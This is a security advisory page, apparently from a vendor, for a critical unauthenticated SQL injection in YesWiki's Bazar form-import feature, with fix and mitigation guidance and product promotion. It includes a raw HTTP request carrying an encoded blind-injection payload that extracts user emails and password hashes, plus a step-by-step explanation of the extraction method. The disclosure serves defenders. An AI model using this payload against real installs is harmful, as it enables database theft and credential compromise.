GHSA-jwvv-qr7q-cv8j
CRITICALGHSA-jwvv-qr7q-cv8j is a critical-severity (CVSS 9.8) SQL Injection vulnerability in yeswiki/yeswiki. O3 Security confirms whether GHSA-jwvv-qr7q-cv8j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
YesWiki: Unauthenticated SQL Injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jwvv-qr7q-cv8j.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jwvv-qr7q-cv8j plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 362,257 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated SQL injection in the Bazar form-import path (FormManager::create()) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an INSERT statement and read the full database, including yeswiki_users.password hashes. Present in 4.6.1 / 4.6.2 / current doryphore-dev; analyzed against upstream commit 1f485c049db030b94c047ec219e63534ac81142e.
Details
Sink is at FormManager::create() (function at L232), unquoted concatenation of bn_id_nature into the INSERT VALUES list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258
Reachability is unauthenticated.
PoC
- Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)
- Bring up the service using docker:
cd docker && docker compose build && docker compose up - Go to
https://localhost:8085 - Go through the installation
- Run the POC: yeswiki_sqli_poc.py
Impact
Sql injection. An attacker can dump the whole db, including usernames, emails, and hashed passwords.
More details
Sample http request (copied from burp):
POST /?BazaR&vue=formulaire HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 353
Host: localhost:8085
User-Agent: Python-urllib/3.13
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D
POC internals:
The PoC uses an expression like:
7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))
Breakdown
SELECT HEX(VERSION()) or whatever the statement is (the poc file dumps 1 username and password)
This gets the database version and hex-encodes it.
Example:
VERSION() = 9.7.0
HEX(VERSION()) = 392E372E30
Then:
SUBSTRING((SELECT HEX(VERSION())), 1, 1) takes one character from that hex string.
For position 1, this returns 3, then: ASCII(...) converts that character to its ASCII code: ASCII('3') = 51
Then:
7330000 + 51 produces 7330051
So the full vulnerable insert becomes roughly:
INSERT INTO yeswiki_nature (..., bn_id_nature, ...)
VALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), "fr-FR", ...);
MySQL evaluates the expression before storing it, so the inserted row has: bn_id_nature = 7330051
The PoC reads that ID from /?api/forms, subtracts 7330000, gets 51, converts 51 back to '3', and repeats for the next character.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | all versions | 4.6.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jwvv-qr7q-cv8j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jwvv-qr7q-cv8j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jwvv-qr7q-cv8j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jwvv-qr7q-cv8j in your dependencies?
O3 detects GHSA-jwvv-qr7q-cv8j across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.